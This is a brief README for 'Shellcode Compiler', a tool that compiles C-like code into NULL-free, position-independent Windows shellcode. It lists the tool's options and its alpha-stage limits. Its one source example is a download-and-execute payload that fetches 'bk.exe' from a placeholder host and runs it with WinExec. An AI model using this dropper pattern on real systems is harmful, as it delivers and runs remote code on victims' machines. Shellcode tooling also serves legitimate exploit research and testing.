Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way. It takes as input a source file and it uses it’s own compiler to interpret the code and generate an assembly file which is assembled with NASM.
Command line options:
-h (--help) : Show this help message -v (--verbose) : Print detailed output -t (--test) : Test (execute) generated shellcode -r (--read) : Read source code file -o (--output) : Output file of the generated binary shellcode -a (--assembbly) : Output file of the generated assembly code
Source code example:
function URLDownloadToFileA("urlmon.dll"); function WinExec("kernel32.dll"); function ExitProcess("kernel32.dll"); URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0); WinExec("bk.exe",0); ExitProcess(0);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm
- It is not possible to use the return value of an API call
- It is not possible to use pointers or buffers
- It is not possible to declare variables
All these limitations will be fixed as soon as possible. However, many other limitations will exist. This is an Alpha version. Please report any bugs or suggestions.
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